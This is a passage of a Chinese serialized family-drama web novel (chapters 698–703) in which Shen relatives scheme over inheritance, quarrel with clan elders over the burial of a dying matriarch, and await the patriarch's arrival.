沈渊左右看了看,压低了声音,“你想想,沈兰晞是什么身份?单靠老爷子对他的器重和沈玺留下的基业,他已经手握A国顶尖的权杖,联姻于他不过是锦上添花,但若他选了姜花衫则不同。” “老爷子对姜花衫比亲儿子、亲闺女还宠,沈兰晞选了姜花衫,那便解了老爷子百年之忧。” 沈谦顿时眼睛一亮,点头附和,“没错,老爷子最怕的就是百年之后姜花衫无依无靠,否则当初也不会连小沈园都送了出去。” “说到小沈园,兰晞娶了姜花衫,小沈园不就是他的囊中之物了?有老爷子和沈娇全心相助,家主之位只怕……”沈渊观察着沈谦的脸色,见他不悦立马截止。 沈谦,“我总觉得哪里不对。以沈兰晞的身份要什么女人没有,何必让自己背上乱伦的罪名?” “大哥,你糊涂啊!姜花衫不过是挂在沈娇名下,对外未曾换姓。他们原本就没有血缘,这两人都是老爷子的心头宝,真凑成一对,老爷子还能棒打鸳鸯?” 沈渊说的有理有据,见沈谦一直不表态,又继续猛攻,“瞧两人今晚这情态,只怕已经往来许久了,大哥真的不防?” 沈谦眸底掀起一丝暗涌,沉默片刻转头打量沈渊,“他俩若真看上眼我能怎么防?管天管地也管不着两个年轻人看对眼啊。” 沈渊嘴角抽了抽,“有什么管不着的,让其中一个消失不就成了?” 沈谦并不认同,“这里是老宅,全族上下都向着沈兰晞。过不了几天,老爷子就到了,这个时候下手,你嫌命太长了?” “全族都向着沈兰晞,但未必都向着那死丫头啊?我看沈航对她成见颇深,不如利用一二。太奶奶瞧着撑不了多久了,到时候一命呜呼族里的人都会过来,人多眼杂最好下手。” 沈渊一副老谋深算的模样。 沈谦却还是拿不定主意,倒不是他不敢杀,而是他始终觉得这不是最好的破局之法。 “大哥,你别不是忘了,这丫头害我们栽了多少跟头?就算没有沈兰晞,也该先下手为强。” 沈渊见沈谦犹豫不决,略有不满,当初为了阻止沈兰晞回鲸港,沈谦直接在襄英途中布下杀局,眼下不过弄个小丫头怎么变得瞻前顾后了? 沈谦摆摆手,“这事让我再想想。”说着,转头往自己的别院走去。 * “您刚刚说……沈兰晞和姜花衫有猫腻,是……什么意思?” 沈归灵坐在窗下一张宽大的藤椅上,指尖轻轻敲击着藤椅扶手,姿态舒展而慵懒。 相比起来,另一边的沈谦就没这么淡定,一边通话,一边围着房间转圈,十分地焦躁不安。 “我都说的这么明显了,你怎么还听不明白,沈兰晞!和!姜花衫!勾搭在一块了!!!” 沈归灵指尖一顿,缓缓直起腰身坐了起来,“勾搭?您确定?” 沈谦捏了捏眉心,全然不似在沈渊面前那般淡定,咬牙道:“今天在老宅,那些老东西想拿规矩治姜花衫,但都被沈兰晞挡了回去。适才在武太奶的屋子里,我和你二叔亲眼看见他俩手拉手,出了院子这两人还结伴一起摘枣子,完全不避嫌。” “……”沈归灵垂眸,思忖片刻慢悠悠坐了回去,似笑非笑,“摘个果子而已,不、算、什、么……” 沈谦没料到沈归灵竟然这么天真,沉声道,“阿灵,别的事你一点就通,怎么偏偏这件事就看不透呢?那红枣是随便什么人都能一起摘的吗?红红火火早生贵子,他们连外人都不避讳,看来勾搭也不是一两天了。” 沈归灵,“……” 沈谦转身落座,看着窗外的月亮出神,“我谋划了这么久,决不能让他们坏了我的好事。你二叔的意思是,趁着太奶奶出殡的日子结果了那死丫头。” 若是沈谦同意了沈渊的计谋,就不会这个时候打电话给他了,这几年的欺瞒终究是起了效果。 “那父亲的意思呢?”沈归灵气定神闲反问道。 沈谦眼底闪过一抹暗光,正犹豫要不要说,耳边又传来沈归灵的声音。 “您迟疑了?武太奶于沈家的意义非比寻常,她老人家出殡那日全族人想必都会到齐,人多眼杂是一回事,众矢之的又是另一回事。 若是成功,父亲可有把握在爷爷眼皮子底下脱罪?若是失败,父亲又能否承受住全族人的审判?” “所以,二叔不可信,其心可诛。” 沈谦覆在眼里的阴翳瞬间驱散,眸底满是欣慰,“知我者,还是阿灵啊。” “沈渊的话的确不可信,但沈兰晞和姜花衫这事也绝对不能成,既然暂时不能杀,那就只能换个策略了。” 沈谦缓下语气,略带试探,“阿灵,姜花衫绝不能落在大房手里,所以……你能明白爸爸的意思吗?” 沈归灵,“…………” 见他不语,沈谦干脆挑明,“阿灵,你愿意替爸爸分忧吗?” “分忧?”沈归灵的声音平静如常,“父亲要我勾搭姜花衫?之前是讨好,现在是勾搭?” 沈谦罕见地有些愧疚,“只是我目前能想到的最好的解决办法了,放心,爸爸不会让你平白受委屈的,等你破坏了他们的关系,我一定补偿……” 不等他说完,电话那边已经应口。 “好~” 我一定好好破、坏! …… 第699章 她应该葬在沈家主陵 翌日清晨。 阳光自高处向下慢慢溢过整座院落,老宅在沉梦中苏醒了过来。 还是早饭时间,武太奶的院子已经进进出出换了好几批客人。 大伙儿听说太奶奶剩下的光景不多了,都赶着来见太奶奶最后一面。 老太太已经九十高龄,在世俗眼里算是喜丧,不少人都会带着孩子来沾沾福气。 为免惊扰了武太奶休息,大部分人都是领着家里的小孩儿在门口叩了头就走。 姜花衫赶去小院时,凉亭、廊庑已经站满了人,她极不喜欢这种感觉,但也知道沉疾旧疴一惯如此,什么也没说低着头准备回去。 沈航原本在和族里几个长辈说话,一眼就看见了躲在人群里的姜花衫,立马起身走进凉亭。 “爸,那丫头在那。” 与沈钧坐在一起的,都是族里上了年纪的老人,虽不如沈钧和沈庄关系亲厚,但在襄英也颇有名望。 沈钧收敛了笑意,沉着脸,“要不是问了老二媳妇,我还真不知道现在的小辈性子如此刁钻,面上应和了长辈,转眼就耍赖,阳奉阴违,实在可恶。去,把那丫头叫过来。” 沈航出了凉亭。 原本他想亲自去叫,但一想到自己毕竟是长辈不合适,便叫了家里的一个小辈去请。 小辈还年轻,不过二十出头,拦住姜花衫后也说不出什么硬气的话,指了指凉亭的位置,“老叔公叫你过去。” 姜花衫往凉亭瞥了一眼,简单直白,“告诉他,我不去。” 小辈愣了愣,这还能拒绝的? 到时候祠堂的板子打下来,屁股还要不要? 姜花衫转身要走,小辈一时情急,伸手拽她,“你不能……” 话还没说完,眼前突然压过一道黑影,他的手还没挨着姜花衫,就被人横空抓住甩了回去。 “做什么?”这声音清冷至极。 小辈被甩得在原地转了一个圈,“你……” 正要发怒,待看清面前是谁吓得立马噤声。 沈兰晞比男人高出半个头,他并未刻意俯视,淡淡一眼便让人有了极强的压迫感。 老宅什么时候出现过这么惊艳绝伦的人物?小辈立马就猜出了沈兰晞的身份,尴尬笑了笑,“表叔公让她去凉亭,我一边说话她一边走,我刚刚只是想拦着她,没有别的意思。” 小辈有些为难,“都是族中长辈,她直接就这么走了,表叔公他们肯定会生气的。” 眼前这位既然是未来家主,只要他说明利害关系,应该会遵循家族规定。 沈兰晞转头看向姜花衫,正要开口,姜花衫从他身后探出半个头,一副没商量的样子。 “看我做什么,都说了,我不去。” “族人都看着,被人抓住把柄不好,我……” 话说到一半,沈兰晞忽然顿住,沉默片刻侧过身,“你先走。” “……”小辈顿时无语。 连姜花衫都愣住了,一时没有反应过来,瞪着眼睛打量沈兰晞,“你……是不是……脑子出问题了?” 沈兰晞懒得和她计较,“高止,送姜小姐回去。” 姜花衫越想越不对劲,沈兰晞这家伙最讲规矩,要是平时他不训斥她一顿都算好的了,怎么还帮着她遮掩?! “等等。”她抬手,一把拦下高止,“我改变主意了,我现在又想去了。” 一旁的小辈立马看向沈兰晞,这还能忍? 沈兰晞习惯了她这说风就是雨的性格,点头,“我跟你一块去。” 越作越好命?小辈看不懂了。 * 从沈兰晞进入小院,周围的人早有察觉,原本都等着上去打招呼,不想他直接领着一个貌美的少女去了凉亭。 “堂叔公,各位叔公。” 两人刚进亭,年长的老人们纷纷站了起来,笑着跟沈兰晞打招呼。 这就是被寄予厚望的家族宗子的地位,哪怕是祖宅路过的狗见了,都要停下来摇摇尾巴。 姜花衫皮笑肉不笑跟在身后打哈哈。 沈钧早就看出沈兰晞对姜花衫很是维护,但他并未多想,只当是因为一起长大,才多有偏袒。 眼下人多口杂,他若是真问责只怕和沈兰晞闹得不愉快。 斟酌片刻,沈钧决定暂时不跟姜花衫计较,笑着开口,“兰晞啊 ,你来的正好,我和你几位叔公给太奶奶选了几块风水宝地,你也帮着参谋参谋。” 姜花衫嘴角瞬间凝固,凉亭里的人根本没把她当回事,只给沈兰晞安排了座位,她沉默片刻,转身又出了凉亭。 沈兰晞正要招呼她坐,回身,人就不见了。 他愣了愣,这又是怎么了? 凉亭里的老人开始七嘴八舌地讨论: “太奶奶是我们沈家的老人,她的事后事马虎不得,原本我们已经选了一处宝地,但事有多变,你二舅姥姥家的表兄突发恶疾走得匆忙,那会儿太奶奶身子骨还硬朗,我们和她老人家商量后,她便把原来那块地方让了出来。” “我们现在看中的就是这三块地,有山有水,砂山环抱,藏风聚气,你看看。” “我瞧着还是北方这块地好,曲水环流僻静安逸,那里鲜少有人踏足,太奶奶喜静,应该会喜欢。” 姜花衫都已经走出凉亭半米远了,听见这话瞬间被气笑,如果她没记错,北山是荒山,这群人竟然想把太奶奶葬去荒山??! 她的情绪瞬间被点燃,直接回马枪,杀气腾腾冲进凉亭。 “这么好的风水宝地还是留着给你自己用吧!” 说话的老人愣了愣,反应过来时气得差点背过去,“你……你说什么?!” 身边的同伴唯恐老人气晕过去,连忙上前安抚,虎视眈眈怒视姜花衫,“你是哪家的?还有没有规矩了?!” 沈钧砰地一声拍案惊起,“这你丫头,真当以为没有人能教训你,还不给表舅公认错?” 姜花衫冷哼了一声,只当没听见,目光如炬瞪着沈兰晞。 “沈兰晞,你还是不是人?!太奶奶为沈家操劳了一辈子,她若故去应该葬在沈家主陵,受沈家香火!” 沈兰晞,“……” …… 第700章 还是这么野 虽然姜花衫不信风水轮回那套,但她知道,太奶奶是是信的,若是能入沈家宗祠,太奶奶一定会高兴。 这句受沈家香火,无疑是打破了某种平衡,院里的嘈杂声瞬间熄落,所有人像看疯子一样看着她。 沈谦和沈渊刚走进院子,恰好听见她‘大逆不道’的质问,不约而同愣在原地。 “岂有此理!”沈钧怒不可遏,捂着心口斥道,“原本看在你年纪小不想与你一般见识,没想到你竟然如此顽固不化。你这性子,要是不加以管束,沈家声誉迟早受你所累,去,把她送去老二媳妇那好好学学规矩。” “叔公。”沈兰晞起身。 “兰晞,国有国法,家有家规,你就别再维护她了。”在沈钧看来,他已经给过姜花衫机会了,是她一而再再而三挑衅,那就怪不得他拿她开刀了。 沈兰晞皱眉,正要开口,身后的祸坨子一把按下他的肩膀。 “起开。” 姜花衫直接窜到沈兰晞面前,叉着腰与沈钧对峙,“说的好,国有国法,A国明文律令,公民人身自由不受侵犯,你要把我强行带走这是犯法!” “……”沈兰晞捏了捏眉心,坐了回去。 姜花衫继续发力,“在A国,人身自由限制权仅赋予法定机关,且必须符合必要性、 法定性、期限性,你这算是哪门子的家法?难不成还比国法大?” “你!” 沈钧一开始只当姜花衫是个被宠坏的小丫头片子,吓唬吓唬就好了,没想到竟然是块这么难啃的硬骨头。 他被打地措手不及,一脸震惊看向沈兰晞。 沈兰晞眼观鼻鼻观心,只当没听见。 沈谦和沈渊当即止步,姜花衫的杀伤力这些老宅族人不知道,他们可是清清楚楚,为免殃及池鱼,两人隔着人群远远观望。 “姜花衫,这里不是鲸港,真当没有人能治你了?” 沈航早就看姜花衫不顺眼了,花枝招展妖里妖气,一看就不安分,沈家迟早有天会因为她败坏门风。 他转头看向众人,一副大义凛然的样子,“大家都看到了,这丫头桀骜不驯野性粗鄙,若不严厉管束,小辈们都以此为榜样那还了得?既然好好的规矩你不学,那就去祖祠跪着,跪到认错为止。” 姜花衫冷笑,“行了,别拿着鸡毛当令箭了。你能磋磨那些小辈是因为他们身后有座无形的大山,反抗不了,但你凭什么以为,你一句话就能让我下跪?” 她身后是爷爷用两世扶起的脊梁,怎么可能被魑魅魍魉轻易折断? “你去不去?”沈航没想到姜花衫竟蛮横到如此地步,凶相毕露,“你要不去,就是不尊祖宗礼法,既然不守我沈氏家规,也就没必要留在我沈家了。” 这话可算是把姜花衫惹毛了,她眼里的情绪忽然散去,冷冷道,“你当我稀罕做这老宅傀儡……我……” 她一直的夙愿只是做爷爷的孙女,而不是被规矩束缚的沈家女。 沈兰晞起身,往前一步与她并肩,“堂伯父什么时候掌管沈家族长大权了?我怎么不知道?” 族中弟子去留问题只有族长能议。当初沈澈也是因为犯下不可饶恕的大错才被沈庄逐出家门。 因着沈钧于沈庄有救命之恩,沈庄便给了沈钧代行家法的权力,而沈钧年事已高,许多事已经力不从心,顺其自然就让沈航操办。 这么多年都是如此,其他人也没有异议,沈航便也成了习惯。 现在沈兰晞当面质疑,不外乎是当众打他的脸。 沈航脸色微变,转头向沈钧求助。 沈渊轻啧了一声,歪着头小声道,“瞧,这就迫不及待护上了。” 沈谦瞥了沈渊一眼,“沈航这么卖力,是你在中间做了什么?” “哪需要做什么?这家伙从小到大就不喜欢颜色过盛的女人,这么多年的偏见早已经根深蒂固。”沈渊顿了顿,略有不解,“大哥,你真任由他们俩这么纠缠?” 沈谦不动声色,“急什么?年轻人性子不定,说不定哪天就散伙了。” 若是别人,他还担心斗不过沈兰晞,但沈归灵,他绝对有信心。 沈渊眸光微动,“大哥已经布好后招了?” 沈谦笑而不语,一副尽在掌握之中的样子。 另一边,因为沈兰晞出面维护,沈航明显气短,沈钧也不乐意,拄着拐杖缓缓起身,“兰晞,你这是什么意思?” 沈兰晞神色淡淡,“表叔公,我也不过就事论……” “什么什么意思?”姜花衫直接打断,抬着下巴,“揣着明白装糊涂,意思就是沈家你们说的不算,得听我爷爷的。能不能把我赶出去你儿子也说的不算,还是得听我爷爷的。” 这话差点没把对面两父子气死,周围的叔伯看不下去了,纷纷指责姜花衫没有规矩。 姜花衫一把推开沈兰晞,叉着腰和一群老顽固对喷。 “说风水宝地的是你们,现在让你们住你们又不乐意,到底是谁不讲道理?!” “什么女人不能入祠堂?你都是女人生的,竟然还能说出这种混账话,小心老太太晚上托梦回来打你屁股!” “她为什么无儿无女?那是因为她把沈家小辈都当成了自己的孩子!真是可笑,她为沈家奉献了她的一辈子,到头来竟然被你们说无儿无女是福薄之人,我看不是太奶奶福薄,是有人的心黑。” “一个个口口声声说会冲撞先祖,先祖早升天了,我看冲撞的是你们这些自封封号的狗屁祖宗吧?莫以神鬼之论行无德之事,当心神鬼叩灵找上门来问因果。” 姜花衫嘴巴跟淬了毒似的,开口就是生化武器,这些老人家最忌讳的就是神鬼生死,她不带一个脏字,硬是把所有人都骂闭嘴了。 这舌战群儒的热血场面连沈谦和沈渊都看呆了。 沈渊一脸幸灾乐祸,“这下看沈兰晞怎么给她收场?” “哟~怎么我一回来就赶上好戏了。” 原本就乱糟糟的院子,忽然响起一道懒懒的戏谑声。 沈渊眼皮跳了跳,莫名有种不好的预感,没等他转身,那道便越过他,直接窜进了凉亭。 沈清予对着姜花衫的头一顿乱薅,咧嘴笑的肆意。 “一年不见,怎么还是这么野?” …… 第701章 争起来了 沈清予的出现让所有人猝不及防。 姜花衫原本还有些开心,但这家伙一上来就动手动脚,实在不能忍,直接黑脸一巴掌拍下他的手。 沈清予啧了一声,侧过身体直接撞开沈兰晞,甩着被打红的手懒懒拦着沈钧父子。 “老叔公,您的墓地我不是早就替您选好了?怎么还搞得这么兴师动众。” 十几年前,沈庄带着家里几个小辈回家祭祖,那个时候沈玺还在,沈兰晞作为天之骄子的嫡子,刚一回到老宅就收到了族中所有长辈的喜欢。 相比喜欢,沈清予就不受待见的多。 但他并不是会任人宰割的性格,事事都与沈兰晞争抢,玩具也好、新抓的蛐蛐也罢,只要沈兰晞有的他就抢。 沈钧因此看不下去,特意把他带到祖祠教规矩。 老头儿告诉他,长幼有序,兰晞是家族未来继承人,他身为沈兰晞的弟弟,必须要学会顺从兄长,将来练就一身本事辅佐兄长光耀门楣才是正道。 沈清予那会儿只有五岁,五岁的年纪虽然不懂大道理,但已经知道自己要什么? 他性子桀骜,怎会甘愿成为傀儡? 所以沈清予不但不服管教,还直接对着沈家列祖列宗大言不惭。 “沈家家主之位摆在那,能者居之,凭什么什么好东西都是他沈兰晞的?他要没本事,沈家交给他不是要完蛋?” 沈钧被他气得不轻,拿着戒尺用力敲打他的掌心,“兄弟不睦,家族大祸,你小小年纪就有这样的心思,以后还得了?” 沈清予在家是个小霸王,哪受过这种委屈,瞬间化作暴躁小兽,一把抢过沈钧的手里的戒尺,跳起反抗。 沈钧为了防止沈清予耍滑出去找救兵,特意叫人反锁了宗祠的门,他原以为自己的身份足够震慑一个五岁幼童,没想到竟然被沈清予抢了戒尺追着打。 “坏老头!我告诉你!我以后要有出息了,才不会帮沈兰晞那个蠢货,他要赢不了我,我就把他家主的位置抢过来,等我当了家主,我就把你们这些狗眼看人低的老头子都赶去北地荒山,死了也不给你们立牌位。” …… “是你……” 死去的记忆突然攻击,沈钧掺杂着银色的眉毛不时抽搐,闭了闭眼吐出一口浊气,“臭小子……” 沈钧至今还记得,他趴在祖祠门口大喊救命,门房打开他扑地一下栽倒在地,沈清予不仅没有住手,还一把跳到他的脖子上骑大马。 当时众目睽睽啊,即便后来沈庄狠狠揍了那小子一顿,但他的这一世的英名已经毁了。 三米开外的沈渊轻轻碎掉了,当年沈清予大闹祠堂,他生怕沈清予会被沈家族人打死,等沈庄罚过后连夜把人送回了鲸港。 从此之后,若非必要,沈清予从不来襄英,与老宅之人也是眼不见为净,现在竟然为了姜花衫直接舞到正主面前去了,这不是添乱吗? 沈渊哪还有看热闹的心态,赶紧跑进凉亭劝和,“清予,怎么跟你表叔公说话的?” 说着,还故意拉了拉沈清予,不断使眼色,咬牙警告,“你刚回来,别惹事啊。” 沈清予权当没听见,一巴掌甩开沈渊,往前一步挡在姜花衫面前,“怎么?之前只会欺负五岁的小孩儿,现在又针对年轻小姑娘,您老还真是越活越回去了。” “沈清予!”沈渊气得嗓子眼直突突。 现在院子里都是家里的长辈,他这副模样不是直接与老宅族人为敌吗?原本还想着让沈兰晞来做这坏人,没想到回旋镖竟然扎中了自己。 这次,真是哑巴吃黄连,有苦难言。 沈谦不动声色看着凉亭里的四人,看见沈渊着急忙慌帮着道歉,抿直的嘴角渐渐勾起一道弧。 他之前还在奇怪,为什么沈渊明里暗里的撺掇他对姜花衫下手,原来,不仅仅是沈兰晞,连沈清予都对姜花衫动了心思。 沈渊一直希望沈清予能有个得力的外家与沈兰晞抗衡,但姜花衫明显不符合条件,所以,她不会是沈渊心中适合人选。 “表叔公不过是尽职尽职教导晚辈,怎么到你们嘴里就变成了欺负人了?” “就是,不管你们鲸港怎么样,但到底也姓沈,也是沈家人, 做人不能忘本。” 前有姜花衫,后有沈清予,两人一张一弛彻底引起了沈族众人的公愤。 沈兰晞神色淡淡,抬眸看了高止一眼,高止会意,立马进了里屋。 沈渊表情讪讪,对着沈钧抱拳认错,“表叔公,是我教导不严,我给您认错。清予这孩子从小就是这性子,但是坏心是绝对没有的,您放心,我待会就让他去祠堂罚跪。” 还去祠堂罚跪? 沈钧眼皮子跳了跳,这小子五岁就敢当着祖宗的面大放厥词,现在要关进祠堂还得了。 沈清予皱眉,撩着眼睑打量沈渊,“你试试看。” “你!沈清予。”沈钧顿时勃然大怒,拿着拐杖就要打人。 姜花衫先下手为强,拿起桌上的茶杯对着沈钧泼去,“看什么看?你爸爸有没用,还不跑,站着被人打死?” 沈清予咧嘴一笑,反客为主紧紧抓住姜花衫的手腕,“走,离家出走。” 沈钧在家族地位非同一般,又因为和沈庄的情分,家里老辈小辈都格外敬重他,万万没想到,一把年纪了,竟然还要被小辈当众泼茶,瞬间道心破灭,举着拐杖指着院里两人。 “抓住他们。” 族里所有青年壮丁纷纷起身,围成一堵人墙挡住了院子的出口。 沈清予挑了挑眉,对头小声道,“别怕,我有枪。” 姜花衫嘴角抽了抽,“不好吧?” 两人交头接耳的瞬间,沈兰晞已经走出凉亭,二话不说拉住姜花衫的另一手,转身往里屋方向走去。 姜花衫愣了愣,一时没有反应过来,满脸诧异看着他。 沈清予皱眉,略有不爽,“沈兰晞,别碍事。” 沈兰晞只当没听见,绕过姜花衫直接打下沈清予的手,“收不了场就别连累人。” 沈清予眸光微怔,等反应过来沈兰晞已经拉着姜花衫走了一米远,他低头看着手背的红印,沉默片刻快步追了上去。 “谁说我收不了场?” 彼时,高止已经打开了武太奶的房门。 姜花衫顿时灵机一动,抬眸看了沈兰晞一眼,武太奶德高望重,尤其现在又是特殊期间,没有沈庄在,也就只有太奶奶能压住这些族人。 沈兰晞拉着姜花衫进了房里,沈清予正要进屋,沈兰晞转身一把将人推了出去。 “自己惹的祸自己擦屁股。” 话音刚落,高止一个闪现,砰得一声关上了房门。 …… 第702章 窥见端倪 “沈兰晞……” 姜花衫没想到这家伙真这么狠,立马上前准备开门。 这事因她而起,沈清予是替她出头才犯了众怒,她还不能这么没义气。 沈兰晞一把按住房门,淡淡道,“这些族人顽固不化,总要留个人去承担怒火。” “……” 所以,他就这么出卖了沈清予? 姜花衫一时不知该怎么评判沈兰晞这种维护行为,摇了摇头,“如果非得有个人承担怒火,我去!我不在乎!” 这一世,她又不用做沈小妇人,她之所以留在沈家只是因为沈庄,所以这些沈家族人喜不喜欢她,她根本不在意。 但沈清予不一样,他毕竟是沈家血脉,跟这些人闹的太难看了也不好。 沈兰晞垂眸,静静看着她,在姜花衫抵着门页准备出去时,才缓缓开口,“我在乎……” 姜花衫掌心一顿,纤长的睫毛在光晕中轻轻煽动。 她缓缓抬眸,深邃的眸底印着浅色的光圈,“你在乎?在乎什么?” 沈兰晞忽然有些不敢直视她的眼睛,但刚转过视线又不受控制看了回去。 “我……” 他略微顿了顿,喉结艰涩滚动。 “我……在乎” “砰——” 就在这时,屋外忽然传来一声巨响,不知道是谁把椅子砸了。 姜花衫一愣,立马跑到窗下察看情况,侧过身的一瞬间,最后那个‘你’就这样被略过了。 屋外,一片狼藉。 几个壮丁抱的抱腿,捂的捂胳膊,通通倒地不起。 庭院中央,沈清予坐在竹椅上,翘着二郎腿,“你们得庆幸你们赶上了好时代,要搁以前,敢跟少爷动手,统统打死。” 凉亭的老人个个气得捶胸顿足,不是把列祖列宗搬出来施压就是大骂家门不幸。 沈清予也不惯着他们,吊儿郎当火上浇油,“老祖宗还真该睁开眼看看,这都留了些什么封建遗产,干脆今晚都打包打走。” “……” 姜花衫原本还想出去一起抵抗风暴,现在看来,沈兰晞她把拎出去还算是明智之举,不然就靠她和沈清予这两张毒嘴,不怕没两天就要吃席了。 沈兰晞站在门边的暗影里,默默看着盛光下的身影。 “咳咳……” 屋里的传来闷闷的咳嗽声,姜花衫一愣,立马转身去了里屋。 原本她还担心沈清予应付不来,但现在看,她的担忧完全是多余的,也是,就沈清予这臭脾气,当年就算爷爷都没能完全制住他,何况这些封建余孽。 “太奶奶?!” 武太奶不知什么时候醒了,掀开了被子准备下床,姜花衫吓了一跳,赶紧上前搀扶。 听见姜花衫的惊呼,沈兰晞立马跟进里屋,扶着太奶奶坐着。 “太奶奶,您现在不适合乱动,要想出去走走,我让他们准备一下。” “不用。”太奶奶轻轻拉住沈兰晞的手,“兰晞,太奶奶有话想单独和小花儿说。” 沈兰晞愣了愣,随即点头,“知道了。” 他起身看了姜花衫一眼,默默退出了房间。 “太奶奶,好点没?”姜花衫扶着武太奶的肩坐在床边。 太奶奶笑了笑,“太奶奶好不了了,这一去以后就见不着了,有些话太奶奶不说放心不下,你愿意听吗?” 姜花衫点了点头,“我听,您说。” 太奶奶轻声道,“我死后无论葬在哪,都是命运,你不要因为此事和他们生了嫌隙,不然就违背了我的心愿。” 姜花衫顿然眼眶一热,她猜想太奶奶可能是听见了外面的声响,太奶奶告诫她收敛心性,但万万没想到竟然是自己身后事。 她忽然有些后悔自己刚刚不该因为一时气愤,当众说出这些人要把太奶奶葬去北山,她不敢想像,老奶奶被惊醒听见这样的消息,独自坐在床头该是什么样的心情? 看出姜花衫在自责,太奶奶轻轻拍了拍她的手,声音轻柔却很有力量,“活到我这个年纪,已经很难有执念了,我这一生唯一的执念就是提少爷守好沈家。其他的,都看淡了。” 姜花衫知道,太奶奶口中的少爷是沈家曾祖,她沉默片刻,闷闷道,“奶奶,我就是不服,他们将女子拦在宗祠之外,却又恬不知耻享受女子为家族带来延续和稳定,这是什么道理?您为沈家付出了这么多,不应该被如此对待。” 武太奶摇头,“为沈家尽忠是我个人意愿,不会因为他们是否感恩而动摇。家和万事兴,太奶奶想安安静静的走。” 哪怕到了生命的最后一刻,武太奶想的还是沈家的繁盛团结。 姜花衫不忍让老人抱着遗憾离世,重重点了点头,“我知道。” “好孩子。”太奶奶笑了笑,紧紧握紧她的手,目光深远看向窗外,“放心,有太奶奶在,没有人能动你分毫。等太奶奶没力气了,你爷爷也该到了。” 这句话实在太煽情,姜花衫一时没忍住哽咽哭了出来。 “别哭了。怎么还跟小时候一样,从躲起来哭?” 姜花衫一愣,噙在眼里的泪水顺着脸颊落在了满是皱着的手背上,这一世,她遇见太奶奶的时候从来没有哭啊? 武太奶却像是陷入的某种回忆,眼里渐渐有了神采。 “我当时一眼瞧见你,就喜欢,你和你奶奶一样,一双招人的桃花眼。” 说的,好像是上一世的事。 姜花衫轻轻回握武太奶的手,“您见过我奶奶?” “见过,你奶奶温柔、善良,善解人意,你啊……像个小刺猬,胡搅蛮缠……” 原来她在太奶奶心中这样了,想着自己她上一世的确有些拿不出。姜花衫有些不好意思。 武太奶又道,“我原想着是故人之子,应该多教你一下道理,最好能像你奶奶那样。但爷爷却不同意,” 姜花衫怔然,“爷爷不希望像奶奶?” 太奶奶点头,“当年沈家一夜覆灭,你爷爷执念要守当年之约,我们怎么劝都没有用,后来我瞒着你爷爷,背上沈家十一口灵牌去了淮城,求您奶奶先弃诺。” “所以……爷爷是知道的。” “后来知道了。所以,接回你之后,你爷爷说,你刁蛮也好,任性也好,恶毒都没关系,唯独不要像你奶奶那样善解人意,一辈子为别人而活,委屈了自己。” 所以爷爷从不苛责她,即便她行事再荒诞也从没让她改。 武太奶转眼落回眼前,盯着她的眉眼,“当年之后,你再没有回老宅,是不是还记恨太奶奶对你太过严厉?” “现在你回来,是不是不生太奶奶的气了?” 姜花衫咬了咬下唇,声音极声,“我早就不生气了。” 屏风之外,一道斜影怔然不动。 …… 明天我早点更新,准备给大家开群,未免大家都说进不了,可以提前留言~ 第703章 撑腰的来了 小院的闹剧直到中午还没有散场,甚至有愈演愈烈的趋势。 一群小辈闻风而来,偷偷躲在院外的窗户下偷看,有些年纪小的挨不着窗架,甚至还要踮着脚尖。 沈钧已经被气得半条命没有了,由着众人搀扶半躺在凉亭里。 沈航是唯一一个没有倒下的,指着沈清予大骂,“你看看你,像什么样子?吊儿郎当坐没坐相,也不怕外头那些族弟族妹们笑话?” 沈清予,“正好,让那些小鬼们都看看,什么是反抗精神!别都像个闷包傻逼一样被人当成提线木偶还不知道。” “你!”沈航气的额角突突,转头看向沈渊。 沈渊嘴角抽搐,装死往正屋方向使了个眼色。 这事明明是姜花衫挑起的事端,现在却留他儿子吸引炮火,天底下可没有这么便宜的事。 沈航则是一脸挫败。 姜花衫刚一窜进老太太屋,几个年长的老人就已经去敲门了,但高止守在门口,说什么老太太有话交代姜花衫,闲杂人等不让进。 等了半个小时,话还没谈完,大伙儿便知沈兰晞是想借着老太太之名替姜花衫开脱,于是,几人又去敲门。 最后沈兰晞一个人出来,说老太太话没说完,让大家等着。 这一等,就是一个上午。 沈兰晞坐在凉亭喝茶,沈清予坐在院里叫骂,其余人伤的伤,焉的焉,完全没辙。 这里面唯一一个置身事外的还有沈谦,想着自己已经留好了后手,难得清闲,老神在在跟进凉亭安抚沈钧。 “叔伯,大热天的,您消消气。” “我不管了,我管不了,管不了。”沈钧已经过了耄耋之年,姜花衫和沈清予这么一闹差点没把他半条命闹走。 围观的众人见状,对沈清予和姜花衫更是气得牙痒痒。 “打电话给沈老爷子。” “对!让老爷子看看他们是怎么为非作歹不守族训的!让沈老爷子来评评理!!!” “对!请老爷子过来!!!” 院里的人一呼百应,个个同仇敌忾。 “谁要让我来评理啊?” 就在这时,一声沉稳持重的垂暮之音赫然在院中响起。 院里众人脸色微变,不约而同转头看向院外,就连沈钧都捂着心口坐了起来。 “怎么都堵在门口啊?” 一群壮丁人墙立马散开,沈庄手拄着龙头拐杖,身后围簇着一群惊艳绝伦的小辈,气定神闲踏入院中。 沈兰晞放下茶盏,缓缓起身。 沈庄掀眸往院里逡巡了一圈,慢慢穿过庭院,路过沈清予时目不斜视,抬手就是一棍。 这一棍打在腿上,不轻不重,但警告意味十足。 “造反呢?” 沈清予懒洋洋起身,扣了扣耳朵,“爷爷。” “哼。”沈庄懒得搭理他,径直往老太太屋里走去。 众人见状纷纷起身,开始七嘴八舌告状。 “老爷子,您可算来了,你要是再不来,这两个兔崽子就要把房顶掀了。” “是啊,您看看,老叔公都被他们气成什么样了?还有那个沈清予,竟然跟长辈动手,那边那些都是被他打缺的!” 沈庄根本不予理会,推开房门进了屋,他没有交代,其余人便在外面守着。 “噗嗤~”傅绥尔一时没忍住,偷偷对着沈清予竖了个大拇指,“清予哥,厉害啊!” “绥尔。”沈娇冷声轻斥,傅绥尔立马收敛笑容,但竖起的大拇指还是没有收回。 “老爷子这是什么意思?”凉亭里的人开始焦躁不安,探着脖子往正屋张望。 沈归灵慢慢往凉亭走去,与沈兰晞擦肩而过时,一个微微抬眸,一个冷眼低眸,一眼过后,互相看不上眼。 “表叔公,各位叔伯,爷爷心里一直惦记着太奶奶,不管什么事也等爷爷见过太奶奶再说?大热天,容易上火,诸位先喝杯茶。” 沈归灵面带微笑看着众人,提起茶壶一一添盏。 得沈归灵提醒,大家这才反应过来自己情绪太激动,纷纷有些不好意思,点头应和。 “是啊,还是太奶奶重要些。” 沈钧眯眼打量着沈归灵,缓和了语气,“你是……” “沈归灵。”他不卑不亢。 